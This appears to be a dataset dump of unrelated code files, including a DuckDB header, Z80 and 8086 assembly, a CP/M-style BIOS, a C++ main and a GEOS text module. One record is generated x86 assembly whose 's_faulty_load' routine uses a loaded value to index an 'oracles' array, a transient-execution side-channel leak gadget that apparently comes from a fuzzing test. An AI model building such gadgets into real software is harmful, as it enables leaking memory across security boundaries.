text stringlengths 1 1.05M |
|---|
//===----------------------------------------------------------------------===//
// DuckDB
//
// duckdb/storage/table/standard_column_data.hpp
//
//
//===----------------------------------------------------------------------===//
#pragma once
#include "duckdb/storage/table/column_data.hpp"
#include "duckdb/storage/table/validity_column_data.hpp"
namespace duckdb {
//! Standard column data represents a regular flat column (e.g. a column of type INTEGER or STRING)
class StandardColumnData : public ColumnData {
public:
StandardColumnData(DataTableInfo &info, idx_t column_index, idx_t start_row, LogicalType type,
ColumnData *parent = nullptr);
//! The validity column data
ValidityColumnData validity;
public:
bool CheckZonemap(ColumnScanState &state, TableFilter &filter) override;
void InitializeScan(ColumnScanState &state) override;
void InitializeScanWithOffset(ColumnScanState &state, idx_t row_idx) override;
idx_t Scan(Transaction &transaction, idx_t vector_index, ColumnScanState &state, Vector &result) override;
idx_t ScanCommitted(idx_t vector_index, ColumnScanState &state, Vector &result, bool allow_updates) override;
idx_t ScanCount(ColumnScanState &state, Vector &result, idx_t count) override;
void InitializeAppend(ColumnAppendState &state) override;
void AppendData(BaseStatistics &stats, ColumnAppendState &state, VectorData &vdata, idx_t count) override;
void RevertAppend(row_t start_row) override;
idx_t Fetch(ColumnScanState &state, row_t row_id, Vector &result) override;
void FetchRow(Transaction &transaction, ColumnFetchState &state, row_t row_id, Vector &result,
idx_t result_idx) override;
void Update(Transaction &transaction, idx_t column_index, Vector &update_vector, row_t *row_ids, idx_t offset,
idx_t update_count) override;
void UpdateColumn(Transaction &transaction, const vector<column_t> &column_path, Vector &update_vector,
row_t *row_ids, idx_t update_count, idx_t depth) override;
unique_ptr<BaseStatistics> GetUpdateStatistics() override;
void CommitDropColumn() override;
unique_ptr<ColumnCheckpointState> CreateCheckpointState(RowGroup &row_group, TableDataWriter &writer) override;
unique_ptr<ColumnCheckpointState> Checkpoint(RowGroup &row_group, TableDataWriter &writer,
ColumnCheckpointInfo &checkpoint_info) override;
void CheckpointScan(ColumnSegment *segment, ColumnScanState &state, idx_t row_group_start, idx_t count,
Vector &scan_vector) override;
void DeserializeColumn(Deserializer &source) override;
void GetStorageInfo(idx_t row_group_index, vector<idx_t> col_path, vector<vector<Value>> &result) override;
void Verify(RowGroup &parent) override;
private:
template <bool SCAN_COMMITTED, bool ALLOW_UPDATES>
void TemplatedScan(Transaction *transaction, ColumnScanState &state, Vector &result);
};
} // namespace duckdb
|
; wa_priority_queue_t *
; wa_priority_queue_init(void *p, void *data, size_t capacity, int (*compar)(const void *, const void *))
SECTION code_clib
SECTION code_adt_wa_priority_queue
PUBLIC wa_priority_queue_init_callee
EXTERN asm_wa_priority_queue_init
wa_priority_queue_init_callee:
pop hl
pop ix
pop bc
pop de
ex (sp),hl
jp asm_wa_priority_queue_init
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _wa_priority_queue_init_callee
defc _wa_priority_queue_init_callee = wa_priority_queue_init_callee
ENDIF
|
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0xfe39, %rsi
lea addresses_D_ht+0x8b89, %rdi
add $48782, %r14
mov $12, %rcx
rep movsw
nop
sub $31005, %r8
lea addresses_UC_ht+0x142b9, %rsi
lea addresses_UC_ht+0xd639, %rdi
nop
nop
nop
nop
xor $48334, %r14
mov $12, %rcx
rep movsw
nop
nop
nop
xor %r8, %r8
lea addresses_WT_ht+0x1e639, %rdx
clflush (%rdx)
nop
nop
nop
nop
cmp $54954, %rbp
movb $0x61, (%rdx)
nop
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_UC_ht+0x5239, %rdx
nop
nop
nop
sub %rsi, %rsi
mov $0x6162636465666768, %r8
movq %r8, (%rdx)
nop
and %rdi, %rdi
lea addresses_WC_ht+0x2fa5, %rdx
cmp $33704, %rsi
mov (%rdx), %ecx
cmp $52421, %rcx
lea addresses_D_ht+0xc94b, %rcx
clflush (%rcx)
dec %r14
mov (%rcx), %r8d
nop
nop
sub $3149, %rdx
lea addresses_A_ht+0x1c9a9, %rsi
lea addresses_UC_ht+0x5fa7, %rdi
nop
nop
nop
nop
nop
sub $2371, %r15
mov $72, %rcx
rep movsb
nop
nop
nop
nop
and $62965, %rsi
lea addresses_UC_ht+0x3ab9, %rbp
nop
nop
nop
nop
cmp $38815, %r15
movl $0x61626364, (%rbp)
nop
nop
and $14789, %rdx
lea addresses_UC_ht+0xfd39, %rcx
nop
nop
xor %rsi, %rsi
movb (%rcx), %dl
nop
nop
nop
cmp %r14, %r14
lea addresses_WC_ht+0x439, %rbp
nop
nop
nop
nop
add $43559, %rsi
mov (%rbp), %r14d
nop
nop
dec %rdx
lea addresses_UC_ht+0x11851, %rsi
lea addresses_normal_ht+0x8e39, %rdi
nop
nop
nop
nop
mfence
mov $28, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp %rbp, %rbp
lea addresses_D_ht+0x28b9, %rsi
nop
dec %r15
movb $0x61, (%rsi)
sub $19639, %rbp
lea addresses_D_ht+0x1d00d, %rsi
lea addresses_normal_ht+0x15e99, %rdi
nop
sub $61334, %r15
mov $93, %rcx
rep movsq
nop
nop
add $13197, %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r15
push %r9
push %rbp
push %rcx
// Load
lea addresses_UC+0x5539, %rbp
cmp $20745, %r9
mov (%rbp), %r11d
nop
nop
add %r10, %r10
// Store
lea addresses_WC+0x9f79, %rbp
cmp %r13, %r13
movl $0x51525354, (%rbp)
nop
nop
nop
add %r10, %r10
// Faulty Load
lea addresses_RW+0xb639, %r11
cmp %rbp, %rbp
mov (%r11), %cx
lea oracles, %r9
and $0xff, %rcx
shlq $12, %rcx
mov (%r9,%rcx,1), %rcx
pop %rcx
pop %rbp
pop %r9
pop %r15
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 3}}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': True}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8, 'NT': True, 'same': False, 'congruent': 6}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 4, 'NT': True, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 7}}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 7}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 6}}
{'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
; UCSD p-System IV CBIOS for Z80-Simulator
;
; Copyright (C) 2008 by Udo Munk
;
MSIZE EQU 64 ;memory size in kilobytes
BIAS EQU (MSIZE*1024)-01900H
BIOS EQU 1500H+BIAS ;base of bios
;
; I/O ports
;
CONSTA EQU 0 ;console status port
CONDAT EQU 1 ;console data port
PRTSTA EQU 2 ;printer status port
PRTDAT EQU 3 ;printer data port
AUXDAT EQU 5 ;auxiliary data port
FDCD EQU 10 ;fdc-port: # of drive
FDCT EQU 11 ;fdc-port: # of track
FDCS EQU 12 ;fdc-port: # of sector
FDCOP EQU 13 ;fdc-port: command
FDCST EQU 14 ;fdc-port: status
DMAL EQU 15 ;dma-port: dma address low
DMAH EQU 16 ;dma-port: dma address high
;
ORG BIOS ;origin of this program
;
; jump vector for individual subroutines
;
JP BOOT ;cold start
WBOOTE: JP WBOOT ;warm start
JP CONST ;console status
JP CONIN ;console character in
JP CONOUT ;console character out
JP LIST ;list character out
JP PUNCH ;punch character out
JP READER ;reader character out
JP HOME ;move head to home position
JP SELDSK ;select disk
JP SETTRK ;set track number
JP SETSEC ;set sector number
JP SETDMA ;set dma address
JP READ ;read disk
JP WRITE ;write disk
JP LISTST ;return list status
JP SECTRAN ;sector translate
;
; copyright text
;
DEFM '64K UCSD p-System IV.0 CBIOS V1.1 for Z80SIM, '
DEFM 'Copyright 2008 by Udo Munk'
DEFB 13,10,0
;
; individual subroutines to perform each function
; simplest case is to just perform parameter initialization
;
BOOT:
RET
WBOOT:
DI
HALT
RET
;
;
; simple i/o handlers
;
; console status, return 0ffh if character ready, 00h if not
;
CONST: IN A,(CONSTA) ;get console status
RET
;
; console character into register a
;
CONIN: IN A,(CONDAT) ;get character from console
RET
;
; console character output from register c
;
CONOUT: LD A,C ;get to accumulator
OUT (CONDAT),A ;send character to console
CP 27 ;ESC character?
RET NZ ;no, done
LD A,'[' ;send second lead in for ANSI terminals
OUT (CONDAT),A
RET
;
; list character from register c
;
LIST: LD A,C ;character to register a
OUT (PRTDAT),A
RET
;
; return list status (00h if not ready, 0ffh if ready)
;
LISTST: IN A,(PRTSTA)
RET
;
; punch character from register c
;
PUNCH: LD A,C ;character to register a
OUT (AUXDAT),A
RET
;
; read character into register a from reader device
;
READER: IN A,(AUXDAT)
RET
;
;
; i/o drivers for the disk follow
;
; move to the track 00 position of current drive
; translate this call into a settrk call with parameter 00
;
HOME: LD C,0 ;select track 0
JP SETTRK ;we will move to 00 on first read/write
;
; select disk given by register C
;
SELDSK: LD HL,0000H ;return code
LD A,C
OUT (FDCD),A ;selekt disk drive
RET
;
; set track given by register c
;
SETTRK: LD A,C
OUT (FDCT),A
RET
;
; set sector given by register c
;
SETSEC: LD A,C
OUT (FDCS),A
RET
;
; translate the sector given by BC using the
; translate table given by DE
;
SECTRAN:
LD L,C ;return untranslated
LD H,B ;in HL
INC L ;sector no. start with 1
RET NZ
INC H
RET
;
; set dma address given by registers b and c
;
SETDMA: LD A,C ;low order address
OUT (DMAL),A
LD A,B ;high order address
OUT (DMAH),A ;in dma
RET
;
; perform read operation
;
READ: XOR A ;read command -> A
JP WAITIO ;to perform the actual i/o
;
; perform a write operation
;
WRITE: LD A,1 ;write command -> A
;
; enter here from read and write to perform the actual i/o
; operation. return a 00h in register a if the operation completes
; properly, and 01h if an error occurs during the read or write
;
WAITIO: OUT (FDCOP),A ;start i/o operation
IN A,(FDCST) ;status of i/o operation -> A
RET
;
END ;of BIOS
|
.data
SideLen: .word 8
Perimeter: .space 4
#############################################################################
.text
.globl main
main: lw $t0, SideLen
sll $t0, $t0, 2
sw $t0, Perimeter
|
#include "LumenPCH.h"
#include "Framework/Window.h"
//#include "RTScene.h"
#include "RayTracer/RayTracer.h"
void window_size_callback(GLFWwindow* window, int width, int height) {}
int main(int argc, char* argv[]) {
#ifdef NDEBUG
bool enable_debug = false;
#else
bool enable_debug = true;
#endif
bool fullscreen = false;
int width = 1600;
int height = 900;
Logger::init();
ThreadPool::init();
LUMEN_TRACE("Logger initialized");
Window window(width, height, fullscreen);
{
RayTracer app(width, height, enable_debug, argc, argv);
app.init(&window);
while (!window.should_close()) {
window.poll();
app.update();
}
app.cleanup();
}
ThreadPool::destroy();
return 0;
} |
%include "../../defaults_bin.asm"
; Mode
; 1 +HRES
; 2 +GRPH
; 4 +BW
; 8 +VIDEO ENABLE
; 0x10 +1BPP
; 0x20 +ENABLE BLINK
mov dx,0x3d8
mov al,2
out dx,al
; Palette
; 1 +OVERSCAN B
; 2 +OVERSCAN G
; 4 +OVERSCAN R
; 8 +OVERSCAN I
; 0x10 +BACKGROUND I
; 0x20 +COLOR SEL
inc dx
mov al,6
out dx,al
mov dl,0xd4
; 0xff Horizontal Total 38 71
mov ax,0x2800
out dx,ax
; 0xff Horizontal Displayed 28 50
mov ax,0x2801
out dx,ax
; 0xff Horizontal Sync Position 2d 5a
mov ax,0x2d02
out dx,ax
; 0x0f Horizontal Sync Width 0a
mov ax,0x0a03
out dx,ax
; 0x7f Vertical Total 1f 7f
mov ax,0x6404
out dx,ax
; 0x1f Vertical Total Adjust 06
mov ax,0x0605
out dx,ax
; 0x7f Vertical Displayed 19 64
mov ax,0x6406
out dx,ax
; 0x7f Vertical Sync Position 1c 70
mov ax,0x7007
out dx,ax
; 0x03 Interlace Mode 02
mov ax,0x0208
out dx,ax
; 0x1f Max Scan Line Address 07 01
mov ax,0x0109
out dx,ax
; Cursor Start 06
; 0x1f Cursor Start 6
; 0x60 Cursor Mode 0
mov ax,0x060a
out dx,ax
; 0x1f Cursor End 07
mov ax,0x070b
out dx,ax
; 0x3f Start Address (H) 00
mov ax,0x000c
out dx,ax
; 0xff Start Address (L) 00
inc ax
out dx,ax
; 0x3f Cursor (H) 03 0x3c0 == 40*24 == start of last line
mov ax,0x030e
out dx,ax
; 0xff Cursor (L) c0
mov ax,0xc00f
out dx,ax
hlt
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: tlSmallLineInfo.asm
AUTHOR: John Wedgwood, Dec 26, 1991
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
John 12/26/91 Initial revision
DESCRIPTION:
Misc information about lines.
$Id: tlSmallLineInfo.asm,v 1.1 97/04/07 11:20:24 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TextFixed segment
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SmallLineGetHeight
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the height of a line.
CALLED BY: TL_LineGetHeight via CallLineHandler
PASS: *ds:si = Instance ptr
bx.cx = Line
RETURN: dx.bl = Line height (WBFixed)
DESTROYED: nothing (not even bh)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 12/26/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SmallLineGetHeight proc near
uses ax, cx, di, es
.enter
mov di, cx ; bx.di <- line
EC < call ECCheckSmallLineReference >
call SmallGetLinePointer ; es:di <- ptr to element
; *ds:ax <- chunk array
; cx <- size of line/field data
CommonLineGetHeight ; dx.bl <- line height
.leave
ret
SmallLineGetHeight endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SmallLineGetBLO
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the baseline offset a line.
CALLED BY: TL_LineGetHeight via CallLineHandler
PASS: *ds:si = Instance ptr
bx.cx = Line
RETURN: dx.bl = Baseline offset (WBFixed)
DESTROYED: nothing (not even bh)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 12/26/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SmallLineGetBLO proc near
uses ax, cx, di, es
.enter
mov di, cx ; bx.di <- line
EC < call ECCheckSmallLineReference >
call SmallGetLinePointer ; es:di <- ptr to element
; *ds:ax <- chunk array
; cx <- size of line/field data
CommonLineGetBLO ; dx.bl <- baseline
.leave
ret
SmallLineGetBLO endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SmallLineGetTop
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the top of a line as an offset from the top of the region.
CALLED BY: TL_LineGetTop via CallLineHandler
PASS: *ds:si = Instance ptr
bx.cx = Line
RETURN: dx.bl = Line top (WBFixed)
DESTROYED: nothing (not even bh)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 12/31/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SmallLineGetTop proc far
uses ax, cx, di
.enter
call SmallLineGetTopLeftAndStart
; ax <- left edge
; dx.bl <- top edge
; di.cx <- start of line
.leave
ret
SmallLineGetTop endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SmallLineGetTopLeftAndStart
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the top, left, and start of a line.
CALLED BY: SmallLineGetTop, SmallLineToPosition, SmallLineDraw,
SmallLineDrawLastNChars
PASS: *ds:si = Instance
bx.cx = Line
RETURN: dx.bl = Top edge
ax = Left edge
di.cx = Start offset of line
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 5/ 4/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SmallLineGetTopLeftAndStart proc far
uses bp, si
stopLine local dword
topEdge local WBFixed
leftEdge local word
startOffset local dword
.enter
;
; Initialize the stack frame
;
incdw bxcx ; Make this one-based
movdw stopLine, bxcx ; Save it
clrdw startOffset ; First line offset == 0
clrwbf topEdge ; First line top == 0
;
; Set up arguments for ChunkArrayEnum
;
call SmallGetLineArray ; *ds:ax <- line array
mov si, ax ; *ds:si <- line array
mov bx, cs ; bx.di <- callback
mov di, offset cs:CommonGetTopLeftAndStartCallback
call ChunkArrayEnum ; Do the enumeration
;
; Set up the return values
;
mov ax, leftEdge
movwbf dxbl, topEdge
movdw dicx, startOffset
.leave
ret
SmallLineGetTopLeftAndStart endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CommonGetTopLeftAndStartCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the top of a line
CALLED BY: HugeArrayEnum & ChunkArrayEnumRange
PASS: ds:di = Current line
ss:bp = Inheritable stack frame
RETURN: carry clear to indicate "continue"
carry set otherwise
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/ 6/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CommonGetTopLeftAndStartCallback proc far
uses ax, bx, dx, es
.enter inherit SmallLineGetTopLeftAndStart
segmov es, ds ; es:di <- line ptr
decdw stopLine ; One less line to process
tstdw stopLine ; Check for no more lines
jz lastLine ; Branch if on last line
;
; Add in the height of the current line
;
CommonLineGetHeight ; dx.bl <- line height
addwbf topEdge, dxbl ; Update top edge
CommonLineGetCharCount ; dx.ax <- number of characters
adddw startOffset, dxax ; Update line start
clc ; Signal: continue
quit:
.leave
ret
lastLine:
CommonLineGetAdjustment ; ax <- left edge
mov leftEdge, ax ; Save it for returning
stc ; Signal: stop
jmp quit
CommonGetTopLeftAndStartCallback endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SmallLineGetLeftEdge
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the left edge of a line as an offset from the left edge
of the region containing the line.
CALLED BY: TL_LineGetLeftEdge via CallLineHandler
PASS: *ds:si = Instance ptr
bx.cx = Line
RETURN: ax = Left edge
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 12/31/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SmallLineGetLeftEdge proc far
uses cx, di, es
.enter
mov di, cx ; bx.di <- line
EC < call ECCheckSmallLineReference >
call SmallGetLinePointer ; es:di <- ptr to element
; *ds:ax <- chunk array
; cx <- size of line/field data
CommonLineGetAdjustment ; ax <- adjustment
.leave
ret
SmallLineGetLeftEdge endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SmallLineGetCount
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the number of lines in a small text object.
CALLED BY: TL_LineGetCount
PASS: *ds:si = Instance ptr
RETURN: dx.ax = Number of lines
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 12/31/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SmallLineGetCount proc far
class VisTextClass
uses cx, di, si
.enter
call TextFixed_DerefVis_DI ; ds:di <- instance ptr
mov si, ds:[di].VTI_lines ; *ds:si <- chunk-array
clr ax
tst si
jz noLines
call ChunkArrayGetCount ; cx <- number of elements
mov ax, cx ; dx.ax <- number of elements
noLines:
clr dx
.leave
ret
SmallLineGetCount endp
if ERROR_CHECK
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ECSmallLineValidateStructures
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Validate structures for a small line.
CALLED BY: ECValidateSingleLineStructure
PASS: *ds:si = Instance
bx.cx = Line
dx.ax = Line start
RETURN: nothing
DESTROYED: nothing (flags preserved)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 8/ 7/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ECSmallLineValidateStructures proc far
uses cx, di, es
pushf
info local ECLineValidationInfo
.enter inherit
mov di, cx ; bx.di <- line
EC < call ECCheckSmallLineReference >
push ax ; Save lineStart.low
call SmallGetLinePointer ; es:di <- ptr to element
; *ds:ax <- chunk array
; cx <- size of line/field data
pop ax ; Save lineStart.low
;
; Update the stack frame
;
movdw info.ECLVI_linePtr, esdi
mov info.ECLVI_lineSize, cx
call ECCommonLineValidateStructures
.leave
popf
ret
ECSmallLineValidateStructures endp
endif
TextFixed ends
TextRegion segment resource
